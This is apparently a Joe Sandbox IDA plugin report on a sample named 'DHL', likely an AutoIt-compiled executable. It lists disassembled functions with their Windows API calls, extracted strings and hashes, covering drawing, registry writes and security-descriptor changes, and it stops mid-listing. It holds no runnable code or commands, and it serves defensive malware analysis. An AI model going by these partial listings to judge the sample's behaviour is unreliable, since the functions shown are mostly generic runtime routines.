ATA, xrefs: 00A14C98
Removable, xrefs: 00A14C10, 00A14C15
RAID, xrefs: 00A14CBB
iSCSI, xrefs: 00A14CC2
Fibre, xrefs: 00A14CAD
MMC, xrefs: 00A14CDE
Fixed, xrefs: 00A14C09
CDROM, xrefs: 00A14BFB
SSD, xrefs: 00A14C4A
PhysicalDrive, xrefs: 00A14B76
USB, xrefs: 00A14CB4

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: f51c45fed9f416408c64e15c04e5bbf27f9a801306f90bbd46f12745f16391c9
Instruction ID: 559431475b3ed5fe4343c55af9714d38365cc03215e0ea245ed90d2e0e2f28a9
Opcode Fuzzy Hash: f51c45fed9f416408c64e15c04e5bbf27f9a801306f90bbd46f12745f16391c9
Instruction Fuzzy Hash: 9E617F30705505EBCB04DF6CCA82DE9B7B1BB8E744B248415F806AB691DB36ED81DBC1

Function 00A373E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00A37421
SetTextColor.GDI32(?,?), ref: 00A37425
GetSysColorBrush.USER32(0000000F), ref: 00A3743B
GetSysColor.USER32(0000000F), ref: 00A37446
CreateSolidBrush.GDI32(?), ref: 00A3744B
GetSysColor.USER32(00000011), ref: 00A37463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A37471
SelectObject.GDI32(?,00000000), ref: 00A37482
SetBkColor.GDI32(?,00000000), ref: 00A3748B
SelectObject.GDI32(?,?), ref: 00A37498
InflateRect.USER32(?,000000FF,000000FF), ref: 00A374B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A374CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00A374DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A3752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00A37554
InflateRect.USER32(?,000000FD,000000FD), ref: 00A37572
DrawFocusRect.USER32(?,?), ref: 00A3757D
GetSysColor.USER32(00000011), ref: 00A3758E
SetTextColor.GDI32(?,00000000), ref: 00A37596
DrawTextW.USER32(?,00A370F5,000000FF,?,00000000), ref: 00A375A8
SelectObject.GDI32(?,?), ref: 00A375BF
DeleteObject.GDI32(?), ref: 00A375CA
SelectObject.GDI32(?,?), ref: 00A375D0
DeleteObject.GDI32(?), ref: 00A375D5
SetTextColor.GDI32(?,?), ref: 00A375DB
SetBkColor.GDI32(?,?), ref: 00A375E5

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 37f45df056a505ee9b1bf5daccd276c524a56f704161cc42172f60154ca0c2a0
Instruction ID: f45aade9f90a4006614004b925ad73e0aadd9eab23afb60c9fec3851c7ccaaf9
Opcode Fuzzy Hash: 37f45df056a505ee9b1bf5daccd276c524a56f704161cc42172f60154ca0c2a0
Instruction Fuzzy Hash: BC615972900218AFDF11DFA4EC49EAEBFB9EB08330F114215F915BB2A1D775A941DB90

Function 00A30FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00A31128
GetDesktopWindow.USER32 ref: 00A3113D
GetWindowRect.USER32(00000000), ref: 00A31144
GetWindowLongW.USER32(?,000000F0), ref: 00A31199
DestroyWindow.USER32(?), ref: 00A311B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00A311ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A3120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A3121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00A31232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00A31245
IsWindowVisible.USER32(00000000), ref: 00A312A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00A312BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00A312D0
GetWindowRect.USER32(00000000,?), ref: 00A312E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00A3130E
GetMonitorInfoW.USER32(00000000,?), ref: 00A31328
CopyRect.USER32(?,?), ref: 00A3133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00A313AA

Strings

0, xrefs: 00A310D3
tooltips_class32, xrefs: 00A311E6
(, xrefs: 00A3131B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 5be07c46b937f60260521cd895cac42e2217eaa484f45dca766418165ab1514a
Instruction ID: 9e9294daa584b1bf34e5adcdbcc52140961b3b272f2d9082c11299e9005f6a3d
Opcode Fuzzy Hash: 5be07c46b937f60260521cd895cac42e2217eaa484f45dca766418165ab1514a
Instruction Fuzzy Hash: 4EB18B71608341AFD744DF64CC85BAABBE4FF85350F00891CF999AB2A1C731E845CB91

Function 00A30241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A302E5
_wcslen.LIBCMT ref: 00A3031F
_wcslen.LIBCMT ref: 00A30389
_wcslen.LIBCMT ref: 00A303F1
_wcslen.LIBCMT ref: 00A30475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00A304C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00A30504

Part of subcall function 009BF9F2: _wcslen.LIBCMT ref: 009BF9FD

Part of subcall function 00A0223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A02258
Part of subcall function 00A0223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00A0228A

Strings

GETSUBITEMCOUNT, xrefs: 00A30384, 00A3039F
FINDITEM, xrefs: 00A30627
DESELECT, xrefs: 00A3059C
SELECTALL, xrefs: 00A30515
SELECT, xrefs: 00A30548
ISSELECTED, xrefs: 00A304DD
GETSELECTED, xrefs: 00A305E1
GETITEMCOUNT, xrefs: 00A30316, 00A30337
GETSELECTEDCOUNT, xrefs: 00A30470, 00A3048B
VIEWCHANGE, xrefs: 00A30675
SELECTINVERT, xrefs: 00A3057E
GETTEXT, xrefs: 00A303EC, 00A30407
SELECTCLEAR, xrefs: 00A3052D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: b9ece409427f324d4d8543769b7d47fa064bced25bb3153acd7df3f6c5eac460
Instruction ID: fbaab47778e51dc7a945f229963d333743bc32bdc866760c738b2f070bb48a5b
Opcode Fuzzy Hash: b9ece409427f324d4d8543769b7d47fa064bced25bb3153acd7df3f6c5eac460
Instruction Fuzzy Hash: 06E18B312183019FC714DF24C961E6AB7E6BFD8718F14896CF8969B2A6DB30ED45CB81

Function 009B8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009B8968
GetSystemMetrics.USER32(00000007), ref: 009B8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009B899B
GetSystemMetrics.USER32(00000008), ref: 009B89A3
GetSystemMetrics.USER32(00000004), ref: 009B89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 009B89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009B89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 009B8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 009B8A3C
GetClientRect.USER32(00000000,000000FF), ref: 009B8A5A
GetStockObject.GDI32(00000011), ref: 009B8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 009B8A81

Part of subcall function 009B912D: GetCursorPos.USER32(?), ref: 009B9141
Part of subcall function 009B912D: ScreenToClient.USER32(00000000,?), ref: 009B915E
Part of subcall function 009B912D: GetAsyncKeyState.USER32(00000001), ref: 009B9183
Part of subcall function 009B912D: GetAsyncKeyState.USER32(00000002), ref: 009B919D

SetTimer.USER32(00000000,00000000,00000028,009B90FC), ref: 009B8AA8

Strings

AutoIt v3 GUI, xrefs: 009B8A20

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 112daddd27ce325e874aa94072512ad0e4cbc652101affeb31aead05443357c3
Instruction ID: 08df6c3787cef1ed08807060f941d8ddee1571416084a76f3f90f00fd0da21fc
Opcode Fuzzy Hash: 112daddd27ce325e874aa94072512ad0e4cbc652101affeb31aead05443357c3
Instruction Fuzzy Hash: D0B15D75A00209AFDF14DFA8DD45BEE7BB9FB48324F108229FA15A7290DB74A841CB51

Function 00A00D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A010F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A01114
Part of subcall function 00A010F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01120
Part of subcall function 00A010F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A0112F
Part of subcall function 00A010F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01136
Part of subcall function 00A010F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A0114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A00DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A00E29
GetLengthSid.ADVAPI32(?), ref: 00A00E40
GetAce.ADVAPI32(?,00000000,?), ref: 00A00E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A00E96
GetLengthSid.ADVAPI32(?), ref: 00A00EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00A00EB5
HeapAlloc.KERNEL32(00000000), ref: 00A00EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A00EDD
CopySid.ADVAPI32(00000000), ref: 00A00EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A00F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A00F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A00F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00F6E
HeapFree.KERNEL32(00000000), ref: 00A00F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00F7E
HeapFree.KERNEL32(00000000), ref: 00A00F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00F8E
HeapFree.KERNEL32(00000000), ref: 00A00F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00A00FA1
HeapFree.KERNEL32(00000000), ref: 00A00FA8

Part of subcall function 00A01193: GetProcessHeap.KERNEL32(00000008,00A00BB1,?,00000000,?,00A00BB1,?), ref: 00A011A1
Part of subcall function 00A01193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00A00BB1,?), ref: 00A011A8
Part of subcall function 00A01193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00A00BB1,?), ref: 00A011B7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 5d64c6741ff67626d429bd36b2b63231fce5d8cbd2550251a86061ae4a3372f9
Instruction ID: bb6bdc94084b6de3ff058a9ee20499e73470f02e57fcdc5711738ef2e142bdbe
Opcode Fuzzy Hash: 5d64c6741ff67626d429bd36b2b63231fce5d8cbd2550251a86061ae4a3372f9
Instruction Fuzzy Hash: 91716A7290021AABDF20DFA4ED49FEEBBB8BF05311F044215FA59F6191D7319A06DB60

Function 00A2C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A2C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00A3CC08,00000000,?,00000000,?,?), ref: 00A2C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00A2C5A4
_wcslen.LIBCMT ref: 00A2C5F4
_wcslen.LIBCMT ref: 00A2C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00A2C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00A2C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00A2C84D
RegCloseKey.ADVAPI32(?), ref: 00A2C881
RegCloseKey.ADVAPI32(00000000), ref: 00A2C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00A2C960

Strings

REG_SZ, xrefs: 00A2C644
REG_EXPAND_SZ, xrefs: 00A2C5CD
REG_MULTI_SZ, xrefs: 00A2C6F5
REG_BINARY, xrefs: 00A2C913
REG_DWORD, xrefs: 00A2C804
REG_QWORD, xrefs: 00A2C8C3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 1670e662c1abf4362116e20d5c806e854e44fc31714569b376bdc6f1d0ec08c0
Instruction ID: a53df75d7c518be44b53ec3dc87f971b7a01ead6b29ac0db78948c0d40a55d20
Opcode Fuzzy Hash: 1670e662c1abf4362116e20d5c806e854e44fc31714569b376bdc6f1d0ec08c0
Instruction Fuzzy Hash: 851238356042119FDB14EF18D891B2EB7E5EF89724F14886CF84A9B3A2DB31ED41CB81

Function 00A3091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A309C6
_wcslen.LIBCMT ref: 00A30A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A30A54
_wcslen.LIBCMT ref: 00A30A8A
_wcslen.LIBCMT ref: 00A30B06
_wcslen.LIBCMT ref: 00A30B81

Part of subcall function 009BF9F2: _wcslen.LIBCMT ref: 009BF9FD

Part of subcall function 00A02BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A02BFA

Strings

EXISTS, xrefs: 00A30B7C, 00A30B97
GETSELECTED, xrefs: 00A30C4E
GETTOTALCOUNT, xrefs: 00A309F2, 00A30A17
UNCHECK, xrefs: 00A30D3E
GETITEMCOUNT, xrefs: 00A30C1E
COLLAPSE, xrefs: 00A30B01, 00A30B1C
ISCHECKED, xrefs: 00A30CE1
GETTEXT, xrefs: 00A30C97
CHECK, xrefs: 00A30A85, 00A30AA0
EXPAND, xrefs: 00A30BF8
SELECT, xrefs: 00A30D11

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: b4df34d32c52f9dee9bf067d2142fd405462b16695d938dbcf4399d7e62fa7db
Instruction ID: 8ca7d4fa3c17c0d2b0c47f66a72daf0d0e49aea6e66f3a5afa9cb4f3f594e910
Opcode Fuzzy Hash: b4df34d32c52f9dee9bf067d2142fd405462b16695d938dbcf4399d7e62fa7db
Instruction Fuzzy Hash: E5E188316083019FCB14EF24C461E2AB7E1BF99758F14895CF8969B3A2D731ED45CB81

Function 00A2C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A2B6AE,?,?), ref: 00A2C9B5
_wcslen.LIBCMT ref: 00A2C9F1
_wcslen.LIBCMT ref: 00A2CA68
_wcslen.LIBCMT ref: 00A2CA9E
_wcslen.LIBCMT ref: 00A2CAF9
_wcslen.LIBCMT ref: 00A2CB2F
_wcslen.LIBCMT ref: 00A2CB7F

Strings

HKCU, xrefs: 00A2CBCE
HKCR, xrefs: 00A2CB29, 00A2CB2E
HKEY_LOCAL_MACHINE, xrefs: 00A2CA62, 00A2CA67
HKEY_CURRENT_USER, xrefs: 00A2CBBD
HKEY_USERS, xrefs: 00A2CBDF
HKLM, xrefs: 00A2CA98, 00A2CA9D
HKEY_CLASSES_ROOT, xrefs: 00A2CAF3, 00A2CAF8
HKU, xrefs: 00A2CBF0
HKCC, xrefs: 00A2CBAC
HKEY_CURRENT_CONFIG, xrefs: 00A2CB79, 00A2CB7E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: b0c181399fa2234ae91687ac332accbcf325e231ffe4fb16a26a786acf0ad163
Instruction ID: 74041d39c8c66701150a615541d20edfe976d3612887e8d0a8067a5be5596744
Opcode Fuzzy Hash: b0c181399fa2234ae91687ac332accbcf325e231ffe4fb16a26a786acf0ad163
Instruction Fuzzy Hash: 1671E732A1053A8BCB20DF7CED516BF33A2AFA17B4B254538F8569B284E635CD45C391

Function 00A3833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A3835A
_wcslen.LIBCMT ref: 00A3836E
_wcslen.LIBCMT ref: 00A38391
_wcslen.LIBCMT ref: 00A383B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00A383F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00A35BF2), ref: 00A3844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A38487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00A384CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A38501
FreeLibrary.KERNEL32(?), ref: 00A3850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00A3851D
DestroyIcon.USER32(?,?,?,?,?,00A35BF2), ref: 00A3852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00A38549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00A38555

Strings

.dll, xrefs: 00A383AB
.icl, xrefs: 00A38368
.exe, xrefs: 00A38388

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 718276cc7310d3b698a31cb67112638f6093a4de7f0ec27cbdbb0142dfea58ec
Instruction ID: d6241f9758dade57683646daea973cda5118cb454f58594dfb67fab300037014
Opcode Fuzzy Hash: 718276cc7310d3b698a31cb67112638f6093a4de7f0ec27cbdbb0142dfea58ec
Instruction Fuzzy Hash: 8B61C171A40315BEEB14DF64DC45FBE77A8BB48B21F104609F815EA1D1DB78A981C7A0

Function 009A7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#include-once, xrefs: 009A782F
#cs, xrefs: 009A7873, 009A78C5
Unterminated group of comments, xrefs: 009E528C
#OnAutoItStartRegister, xrefs: 009A7817
#comments-start, xrefs: 009A785F, 009A78B1
#ce, xrefs: 009A78ED
#include, xrefs: 009A7847
Cannot parse #include, xrefs: 009E5279
Bad directive syntax error, xrefs: 009E519A
#pragma compile, xrefs: 009A77D3
#notrayicon, xrefs: 009A77E7
', xrefs: 009E5169
#comments-end, xrefs: 009A78D9
", xrefs: 009E5153
#requireadmin, xrefs: 009A77FF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 3cbec3d61a9d0c1eab8b6d1d78504f337f0ea10592dedad936f4bbbf3f6a2401
Instruction ID: 5029ec720a341d7d5b728bbda0cbd699ffcd26501053f5f45e101aaeb70a6164
Opcode Fuzzy Hash: 3cbec3d61a9d0c1eab8b6d1d78504f337f0ea10592dedad936f4bbbf3f6a2401
Instruction Fuzzy Hash: 3881CD71A04205BBDB21BFA4DC43FABB7A8AF96300F044424F905AB196EB74DA01D7E1

Function 00A05A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00A05A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00A05A40
SetWindowTextW.USER32(?,?), ref: 00A05A57
GetDlgItem.USER32(?,000003EA), ref: 00A05A6C
